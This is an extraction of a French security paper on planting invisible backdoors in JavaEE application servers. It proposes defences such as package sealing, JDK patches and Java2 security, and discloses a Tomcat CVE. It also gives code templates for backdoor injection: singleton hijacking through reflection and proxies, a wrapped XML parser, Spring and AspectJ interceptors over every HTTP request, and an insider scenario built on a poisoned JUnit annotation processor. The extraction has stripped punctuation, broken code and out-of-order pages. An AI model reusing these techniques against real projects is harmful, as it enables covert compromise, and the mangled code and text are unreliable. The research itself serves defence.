En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

